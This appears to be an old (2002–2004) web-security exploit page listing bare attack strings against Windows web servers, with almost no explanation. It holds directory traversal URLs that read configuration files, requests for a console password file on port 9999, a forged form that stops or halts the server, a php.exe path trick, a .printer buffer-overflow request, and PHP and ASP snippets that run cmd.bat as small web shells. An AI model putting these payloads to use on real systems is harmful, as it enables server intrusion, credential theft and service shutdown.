2002 - 2004 << Back | Fwrd >>

http://host/\..\..\..\..\winnt\my.ini

http://host/cgi-bin/%2e%2e/abyss.conf

http://host:9999

http://host:9999/conspass.chl

http://host:9999/conspass.chl+

http://host:9999/conspass.chl?

<FORM ACTION="/save" METHOD="POST">


<INPUT TYPE="HIDDEN" NAME="$index" VALUE="^$index^">


<INPUT TYPE="HIDDEN" NAME="$Redirect" VALUE="/">


<INPUT TYPE="HIDDEN" NAME="$Redirect_Error" VALUE="/srvstatus.chl">


<INPUT TYPE="SUBMIT" VALUE=" Stop " NAME="*stop">


<INPUT TYPE="SUBMIT" VALUE=" Run " NAME="*run">


<INPUT TYPE="SUBMIT" VALUE=" Halt " NAME="*halt">


</FORM>

http://host/cgi-bin/php.exe/c:/

<BoyBear> http://host/cgi-bin/php.exe/c:\

GET /NULL.printer HTTP/1.0 Host: [buffer]

<?php


$str=exec("cmd.bat",$a,$a1);


echo $str;


?>

Set WShShell = Server.CreateObject("WScript.Shell")


RetCode = WShShell.Run("cmd.bat",1,true)


set WShShell= nothing